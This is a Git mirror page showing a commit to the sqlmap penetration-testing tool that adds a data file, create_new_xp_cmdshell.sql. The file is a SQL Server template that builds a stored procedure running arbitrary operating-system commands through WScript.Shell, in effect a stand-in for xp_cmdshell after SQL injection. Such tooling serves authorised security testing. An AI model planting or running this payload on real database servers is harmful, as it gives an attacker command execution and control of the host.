mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2026-08-04 14:55:40 +00:00
Some refactoring (data)
This commit is contained in:
parent
82efb0ca79
commit
ef7d4bb404
79 changed files with 50 additions and 30 deletions
3
data/procs/mssqlserver/create_new_xp_cmdshell.sql
Normal file
3
data/procs/mssqlserver/create_new_xp_cmdshell.sql
Normal file
|
|
@ -0,0 +1,3 @@
|
|||
DECLARE @%RANDSTR% nvarchar(999);
|
||||
set @%RANDSTR%='CREATE PROCEDURE new_xp_cmdshell(@cmd varchar(255)) AS DECLARE @ID int EXEC sp_OACreate ''WScript.Shell'',@ID OUT EXEC sp_OAMethod @ID,''Run'',Null,@cmd,0,1 EXEC sp_OADestroy @ID';
|
||||
EXEC master..sp_executesql @%RANDSTR%
|
||||
Loading…
Add table
Add a link
Reference in a new issue